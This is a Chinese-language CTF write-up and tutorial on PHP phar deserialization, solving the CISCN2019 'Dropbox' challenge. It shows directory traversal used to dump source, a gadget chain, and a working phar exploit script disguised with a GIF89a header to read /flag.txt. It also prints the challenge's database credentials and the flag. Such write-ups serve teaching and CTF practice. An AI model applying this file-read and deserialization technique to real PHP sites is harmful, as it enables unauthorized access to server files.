php反序列化之phar

一、前言

php反序列化是一个在ctf web题目中常考的一种类型,有简单的有难的。简单的就是去年电协杯的反序列化数组，难的也有，类型很多，像php字符串逃逸啦、php反序列化写rce啦等等，这里我们要讨论的是另一种反序列化的方式——Phar反序列化

二、预备知识

1. Phar相关基础

Phar是将php文件打包而成的一种压缩文档，类似于Java中的jar包。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data。以扩展反序列化漏洞的攻击面，配合phar://协议使用

Phar文件结构：

1. a stub是一个文件标志，格式为 ：xxx<?php xxx;__HALT_COMPILER();?>。
2. manifest是被压缩的文件的属性等放在这里，这部分是以序列化存储的，是主要的攻击点。
3. contents是被压缩的内容。
4. signature签名，放在文件末尾。

生成phar文件的基本框架如下：

<?php 
class test{
        public $name='phpinfo();';
}
$phar=new phar('test.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$obj=new test();
$phar->setMetadata($obj);//自定义的meta-data存入manifest
$phar->addFromString("flag.txt","flag");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

注意：要将php.ini中的phar.readonly选项设置为Off，否则无法生成phar文件

生成的phar文件，打开该文件可以看到文件头是<?php __halt_compiler(); ?>以及中间的部分内容是序列化的形式存在于这个文件中。

该方法在文件系统函数（file_exists()、is_dir()等）参数可控的情况下，配合phar://伪协议，可以不依赖unserialize()直接进行反序列化操作。

测试后受影响的函数如下：

因此，当我们发现并没有unserialize()，但是有文件包含相关函数时，就可以考虑phar反序列化

三、题目示例

以**[CISCN2019 华北赛区 Day1 Web1]Dropbox**为例

第一，这不是sql注入，不用在login.php上浪费时间，注册一个账号即可。登录之后你会发现一个上传页面

经过简单测试，发现，它只能上传他图片，且大小有限。

由于现在只有opt这一个功能点，先拿它们下手。那，抓个下载的包吧

发现POST传的filename，在经验的驱使下，我们可以尝试目录遍历，首先遍历index.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>

...//省略的是前端代码，没啥用处。

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

这段代码的重点在第三段：

1. include “class.php”;

引入一个外部 PHP 文件 class.php，里面应该定义了 FileList 类。

1. $a = new FileList($_SESSION[‘sandbox’]);

创建一个 FileList 类的对象，并把 session 中的 sandbox 目录传入。

这里 $_SESSION[‘sandbox’] 很可能是用户的隔离目录（CTF 中常见沙箱路径）。

1. $a->Name();

调用 FileList 对象的 Name 方法。根据命名推测，此方法应该输出或返回目录下的文件名列表。

1. $a->Size();

调用 FileList 对象的 Size 方法，推测是输出或返回对应文件的大小。

由于这段代码中引用的是class.php，所以我们也可以遍历class.php。

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

首先，很显然的是你根据这两段代码，你会发现FileList 类的对象根本没有Name 方法和Size 方法。根据__call()的特性，调用对象中不存在的方法时会自动触发。在这个魔术方法中，他做了以下三件事：

一、把用户调用的名字加入 funcs 列表（用于记录调用历史）。

二、遍历管理的所有文件对象。

三、对每个文件执行同样的函数调用，并记录结果到 results 数组中。

同时，因为FileList::__construct($path)，在new一个对象时触发。而在该构造函数中，有一个foreach：

foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

在这里我们知道，他对变量file实例化File类，之后在触发__call()时，就会遍历File类的所有方法，进行匹配（不区分大小写）。

为什么我要提前讲这些？我们来看代码的最后一部分

public function close() {
        return file_get_contents($this->filename);
    }

在close()函数中，我们发现了可以利用的file_get_contents，于是我们从他下手，倒着推

1. 上文我们就提到了__call()会遍历File类的所有方法。所以我们要想办法做到：

FileList::__call()->File::close()

1. 如何触发__call()方法呢？我们看到class User的析构函数调用了close()方法

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    ...//这些没用

    public function __destruct() {
        $this->db->close();
    }
}

当User->db=new FileList()时，程序结束调用__destruct()，即调用FileList()的call方法。于是就有

User->db=new FileList()->close=>FileList::__call(close)->File::close()

到这里，利用链就非常完整了

于是可以有exp:

<?php

class User {
    public $db;
}

class FileList {
    private $files = array();
    public function __construct() {
        $file = new File();
        array_push($this->files,$file);
    }
}

class File {
    public $filename = '/flag.txt';
}

$phar=new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); 
$phar->addFromString('test.txt','test');  //添加要压缩的文件
$obj= new User();
$obj->db=new FileList();
$phar->setMetadata($obj); //将自定义的metadata存入manifest
$phar->stopBuffering();

?>

这是phar文件的内部构造。

那么，我们该想办法让phar文件发挥作用辣

返回网盘，发现有删除功能，抓包

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

发现可以读文件，且没有限制。所以我们从删除下手。绕过上传限制很简单，改后缀名就行了。然后用phar伪协议就可以拿到flag。

flag：flag{c41a549f-89da-4cc0-a482-8d574f90370e}